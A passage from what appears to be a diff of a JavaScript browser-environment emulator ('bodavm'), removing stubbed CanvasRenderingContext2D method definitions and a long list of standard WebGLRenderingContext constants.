enumerable:true, writable:true, value:function save (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "save", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "scale", {configurable:true, enumerable:true, writable:true, value:function scale (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "scale", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "setLineDash", {configurable:true, enumerable:true, writable:true, value:function setLineDash (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "setLineDash", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "setTransform", {configurable:true, enumerable:true, writable:true, value:function setTransform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "setTransform", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "stroke", {configurable:true, enumerable:true, writable:true, value:function stroke (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "stroke", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "strokeText", {configurable:true, enumerable:true, writable:true, value:function strokeText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "strokeText", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "transform", {configurable:true, enumerable:true, writable:true, value:function transform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "transform", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "translate", {configurable:true, enumerable:true, writable:true, value:function translate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "translate", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "arc", {configurable:true, enumerable:true, writable:true, value:function arc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "arc", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "arcTo", {configurable:true, enumerable:true, writable:true, value:function arcTo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "arcTo", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "beginPath", {configurable:true, enumerable:true, writable:true, value:function beginPath (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "beginPath", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "bezierCurveTo", {configurable:true, enumerable:true, writable:true, value:function bezierCurveTo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "bezierCurveTo", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "clearRect", {configurable:true, enumerable:true, writable:true, value:function clearRect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "clearRect", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "closePath", {configurable:true, enumerable:true, writable:true, value:function closePath (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "closePath", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "ellipse", {configurable:true, enumerable:true, writable:true, value:function ellipse (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "ellipse", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "fillRect", {configurable:true, enumerable:true, writable:true, value:function fillRect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "fillRect", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "lineTo", {configurable:true, enumerable:true, writable:true, value:function lineTo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "lineTo", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "moveTo", {configurable:true, enumerable:true, writable:true, value:function moveTo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "moveTo", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "quadraticCurveTo", {configurable:true, enumerable:true, writable:true, value:function quadraticCurveTo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "quadraticCurveTo", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "rect", {configurable:true, enumerable:true, writable:true, value:function rect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "rect", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "resetTransform", {configurable:true, enumerable:true, writable:true, value:function resetTransform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "resetTransform", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "restore", {configurable:true, enumerable:true, writable:true, value:function restore (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "restore", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "rotate", {configurable:true, enumerable:true, writable:true, value:function rotate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "rotate", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "strokeRect", {configurable:true, enumerable:true, writable:true, value:function strokeRect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "strokeRect", arguments)}},'prototype'); - -// WebGLRenderingContext对象 -bodavm.memory.globalobj['WebGLRenderingContext'] = function WebGLRenderingContext(){if (!(this instanceof WebGLRenderingContext)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLRenderingContext'], "WebGLRenderingContext"); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_BUFFER_BIT", {configurable:false, enumerable:true, writable:false, value:256}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BUFFER_BIT", {configurable:false, enumerable:true, writable:false, value:1024}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "COLOR_BUFFER_BIT", {configurable:false, enumerable:true, writable:false, value:16384}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "POINTS", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINES", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINE_LOOP", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINE_STRIP", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TRIANGLES", {configurable:false, enumerable:true, writable:false, value:4}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TRIANGLE_STRIP", {configurable:false, enumerable:true, writable:false, value:5}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TRIANGLE_FAN", {configurable:false, enumerable:true, writable:false, value:6}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ZERO", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SRC_COLOR", {configurable:false, enumerable:true, writable:false, value:768}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE_MINUS_SRC_COLOR", {configurable:false, enumerable:true, writable:false, value:769}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SRC_ALPHA", {configurable:false, enumerable:true, writable:false, value:770}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE_MINUS_SRC_ALPHA", {configurable:false, enumerable:true, writable:false, value:771}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DST_ALPHA", {configurable:false, enumerable:true, writable:false, value:772}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE_MINUS_DST_ALPHA", {configurable:false, enumerable:true, writable:false, value:773}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DST_COLOR", {configurable:false, enumerable:true, writable:false, value:774}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE_MINUS_DST_COLOR", {configurable:false, enumerable:true, writable:false, value:775}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SRC_ALPHA_SATURATE", {configurable:false, enumerable:true, writable:false, value:776}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FUNC_ADD", {configurable:false, enumerable:true, writable:false, value:32774}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_EQUATION", {configurable:false, enumerable:true, writable:false, value:32777}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_EQUATION_RGB", {configurable:false, enumerable:true, writable:false, value:32777}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_EQUATION_ALPHA", {configurable:false, enumerable:true, writable:false, value:34877}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FUNC_SUBTRACT", {configurable:false, enumerable:true, writable:false, value:32778}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FUNC_REVERSE_SUBTRACT", {configurable:false, enumerable:true, writable:false, value:32779}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_DST_RGB", {configurable:false, enumerable:true, writable:false, value:32968}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_SRC_RGB", {configurable:false, enumerable:true, writable:false, value:32969}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_DST_ALPHA", {configurable:false, enumerable:true, writable:false, value:32970}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_SRC_ALPHA", {configurable:false, enumerable:true, writable:false, value:32971}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CONSTANT_COLOR", {configurable:false, enumerable:true, writable:false, value:32769}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE_MINUS_CONSTANT_COLOR", {configurable:false, enumerable:true, writable:false, value:32770}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CONSTANT_ALPHA", {configurable:false, enumerable:true, writable:false, value:32771}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE_MINUS_CONSTANT_ALPHA", {configurable:false, enumerable:true, writable:false, value:32772}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_COLOR", {configurable:false, enumerable:true, writable:false, value:32773}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ARRAY_BUFFER", {configurable:false, enumerable:true, writable:false, value:34962}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ELEMENT_ARRAY_BUFFER", {configurable:false, enumerable:true, writable:false, value:34963}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ARRAY_BUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:34964}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ELEMENT_ARRAY_BUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:34965}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STREAM_DRAW", {configurable:false, enumerable:true, writable:false, value:35040}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STATIC_DRAW", {configurable:false, enumerable:true, writable:false, value:35044}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DYNAMIC_DRAW", {configurable:false, enumerable:true, writable:false, value:35048}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BUFFER_SIZE", {configurable:false, enumerable:true, writable:false, value:34660}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BUFFER_USAGE", {configurable:false, enumerable:true, writable:false, value:34661}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CURRENT_VERTEX_ATTRIB", {configurable:false, enumerable:true, writable:false, value:34342}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRONT", {configurable:false, enumerable:true, writable:false, value:1028}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BACK", {configurable:false, enumerable:true, writable:false, value:1029}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRONT_AND_BACK", {configurable:false, enumerable:true, writable:false, value:1032}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_2D", {configurable:false, enumerable:true, writable:false, value:3553}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CULL_FACE", {configurable:false, enumerable:true, writable:false, value:2884}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND", {configurable:false, enumerable:true, writable:false, value:3042}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DITHER", {configurable:false, enumerable:true, writable:false, value:3024}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_TEST", {configurable:false, enumerable:true, writable:false, value:2960}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_TEST", {configurable:false, enumerable:true, writable:false, value:2929}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SCISSOR_TEST", {configurable:false, enumerable:true, writable:false, value:3089}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "POLYGON_OFFSET_FILL", {configurable:false, enumerable:true, writable:false, value:32823}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLE_ALPHA_TO_COVERAGE", {configurable:false, enumerable:true, writable:false, value:32926}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLE_COVERAGE", {configurable:false, enumerable:true, writable:false, value:32928}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NO_ERROR", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INVALID_ENUM", {configurable:false, enumerable:true, writable:false, value:1280}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INVALID_VALUE", {configurable:false, enumerable:true, writable:false, value:1281}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INVALID_OPERATION", {configurable:false, enumerable:true, writable:false, value:1282}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "OUT_OF_MEMORY", {configurable:false, enumerable:true, writable:false, value:1285}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CW", {configurable:false, enumerable:true, writable:false, value:2304}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CCW", {configurable:false, enumerable:true, writable:false, value:2305}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINE_WIDTH", {configurable:false, enumerable:true, writable:false, value:2849}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ALIASED_POINT_SIZE_RANGE", {configurable:false, enumerable:true, writable:false, value:33901}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ALIASED_LINE_WIDTH_RANGE", {configurable:false, enumerable:true, writable:false, value:33902}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CULL_FACE_MODE", {configurable:false, enumerable:true, writable:false, value:2885}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRONT_FACE", {configurable:false, enumerable:true, writable:false, value:2886}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_RANGE", {configurable:false, enumerable:true, writable:false, value:2928}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_WRITEMASK", {configurable:false, enumerable:true, writable:false, value:2930}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_CLEAR_VALUE", {configurable:false, enumerable:true, writable:false, value:2931}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_FUNC", {configurable:false, enumerable:true, writable:false, value:2932}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_CLEAR_VALUE", {configurable:false, enumerable:true, writable:false, value:2961}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_FUNC", {configurable:false, enumerable:true, writable:false, value:2962}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_FAIL", {configurable:false, enumerable:true, writable:false, value:2964}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_PASS_DEPTH_FAIL", {configurable:false, enumerable:true, writable:false, value:2965}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_PASS_DEPTH_PASS", {configurable:false, enumerable:true, writable:false, value:2966}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_REF", {configurable:false, enumerable:true, writable:false, value:2967}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_VALUE_MASK", {configurable:false, enumerable:true, writable:false, value:2963}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_WRITEMASK", {configurable:false, enumerable:true, writable:false, value:2968}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_FUNC", {configurable:false, enumerable:true, writable:false, value:34816}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_FAIL", {configurable:false, enumerable:true, writable:false, value:34817}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_PASS_DEPTH_FAIL", {configurable:false, enumerable:true, writable:false, value:34818}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_PASS_DEPTH_PASS", {configurable:false, enumerable:true, writable:false, value:34819}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_REF", {configurable:false, enumerable:true, writable:false, value:36003}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_VALUE_MASK", {configurable:false, enumerable:true, writable:false, value:36004}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_WRITEMASK", {configurable:false, enumerable:true, writable:false, value:36005}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VIEWPORT", {configurable:false, enumerable:true, writable:false, value:2978}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SCISSOR_BOX", {configurable:false, enumerable:true, writable:false, value:3088}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "COLOR_CLEAR_VALUE", {configurable:false, enumerable:true, writable:false, value:3106}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "COLOR_WRITEMASK", {configurable:false, enumerable:true, writable:false, value:3107}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNPACK_ALIGNMENT", {configurable:false, enumerable:true, writable:false, value:3317}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "PACK_ALIGNMENT", {configurable:false, enumerable:true, writable:false, value:3333}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_TEXTURE_SIZE", {configurable:false, enumerable:true, writable:false, value:3379}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_VIEWPORT_DIMS", {configurable:false, enumerable:true, writable:false, value:3386}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SUBPIXEL_BITS", {configurable:false, enumerable:true, writable:false, value:3408}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RED_BITS", {configurable:false, enumerable:true, writable:false, value:3410}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "GREEN_BITS", {configurable:false, enumerable:true, writable:false, value:3411}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLUE_BITS", {configurable:false, enumerable:true, writable:false, value:3412}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ALPHA_BITS", {configurable:false, enumerable:true, writable:false, value:3413}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_BITS", {configurable:false, enumerable:true, writable:false, value:3414}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BITS", {configurable:false, enumerable:true, writable:false, value:3415}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "POLYGON_OFFSET_UNITS", {configurable:false, enumerable:true, writable:false, value:10752}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "POLYGON_OFFSET_FACTOR", {configurable:false, enumerable:true, writable:false, value:32824}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_BINDING_2D", {configurable:false, enumerable:true, writable:false, value:32873}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLE_BUFFERS", {configurable:false, enumerable:true, writable:false, value:32936}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLES", {configurable:false, enumerable:true, writable:false, value:32937}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLE_COVERAGE_VALUE", {configurable:false, enumerable:true, writable:false, value:32938}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLE_COVERAGE_INVERT", {configurable:false, enumerable:true, writable:false, value:32939}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "COMPRESSED_TEXTURE_FORMATS", {configurable:false, enumerable:true, writable:false, value:34467}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DONT_CARE", {configurable:false, enumerable:true, writable:false, value:4352}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FASTEST", {configurable:false, enumerable:true, writable:false, value:4353}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NICEST", {configurable:false, enumerable:true, writable:false, value:4354}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "GENERATE_MIPMAP_HINT", {configurable:false, enumerable:true, writable:false, value:33170}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BYTE", {configurable:false, enumerable:true, writable:false, value:5120}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNSIGNED_BYTE", {configurable:false, enumerable:true, writable:false, value:5121}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SHORT", {configurable:false, enumerable:true, writable:false, value:5122}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNSIGNED_SHORT", {configurable:false, enumerable:true, writable:false, value:5123}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INT", {configurable:false, enumerable:true, writable:false, value:5124}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNSIGNED_INT", {configurable:false, enumerable:true, writable:false, value:5125}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT", {configurable:false, enumerable:true, writable:false, value:5126}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_COMPONENT", {configurable:false, enumerable:true, writable:false, value:6402}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ALPHA", {configurable:false, enumerable:true, writable:false, value:6406}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RGB", {configurable:false, enumerable:true, writable:false, value:6407}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RGBA", {configurable:false, enumerable:true, writable:false, value:6408}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LUMINANCE", {configurable:false, enumerable:true, writable:false, value:6409}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LUMINANCE_ALPHA", {configurable:false, enumerable:true, writable:false, value:6410}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNSIGNED_SHORT_4_4_4_4", {configurable:false, enumerable:true, writable:false, value:32819}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNSIGNED_SHORT_5_5_5_1", {configurable:false, enumerable:true, writable:false, value:32820}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNSIGNED_SHORT_5_6_5", {configurable:false, enumerable:true, writable:false, value:33635}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAGMENT_SHADER", {configurable:false, enumerable:true, writable:false, value:35632}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_SHADER", {configurable:false, enumerable:true, writable:false, value:35633}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_VERTEX_ATTRIBS", {configurable:false, enumerable:true, writable:false, value:34921}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_VERTEX_UNIFORM_VECTORS", {configurable:false, enumerable:true, writable:false, value:36347}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_VARYING_VECTORS", {configurable:false, enumerable:true, writable:false, value:36348}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_COMBINED_TEXTURE_IMAGE_UNITS", {configurable:false, enumerable:true, writable:false, value:35661}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_VERTEX_TEXTURE_IMAGE_UNITS", {configurable:false, enumerable:true, writable:false, value:35660}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_TEXTURE_IMAGE_UNITS", {configurable:false, enumerable:true, writable:false, value:34930}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_FRAGMENT_UNIFORM_VECTORS", {configurable:false, enumerable:true, writable:false, value:36349}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SHADER_TYPE", {configurable:false, enumerable:true, writable:false, value:35663}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DELETE_STATUS", {configurable:false, enumerable:true, writable:false, value:35712}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINK_STATUS", {configurable:false, enumerable:true, writable:false, value:35714}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VALIDATE_STATUS", {configurable:false, enumerable:true, writable:false, value:35715}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ATTACHED_SHADERS", {configurable:false, enumerable:true, writable:false, value:35717}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ACTIVE_UNIFORMS", {configurable:false, enumerable:true, writable:false, value:35718}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ACTIVE_ATTRIBUTES", {configurable:false, enumerable:true, writable:false, value:35721}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SHADING_LANGUAGE_VERSION", {configurable:false, enumerable:true, writable:false, value:35724}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CURRENT_PROGRAM", {configurable:false, enumerable:true, writable:false, value:35725}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NEVER", {configurable:false, enumerable:true, writable:false, value:512}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LESS", {configurable:false, enumerable:true, writable:false, value:513}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "EQUAL", {configurable:false, enumerable:true, writable:false, value:514}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LEQUAL", {configurable:false, enumerable:true, writable:false, value:515}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "GREATER", {configurable:false, enumerable:true, writable:false, value:516}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NOTEQUAL", {configurable:false, enumerable:true, writable:false, value:517}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "GEQUAL", {configurable:false, enumerable:true, writable:false, value:518}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ALWAYS", {configurable:false, enumerable:true, writable:false, value:519}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "KEEP", {configurable:false, enumerable:true, writable:false, value:7680}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "REPLACE", {configurable:false, enumerable:true, writable:false, value:7681}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INCR", {configurable:false, enumerable:true, writable:false, value:7682}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DECR", {configurable:false, enumerable:true, writable:false, value:7683}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INVERT", {configurable:false, enumerable:true, writable:false, value:5386}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INCR_WRAP", {configurable:false, enumerable:true, writable:false, value:34055}); 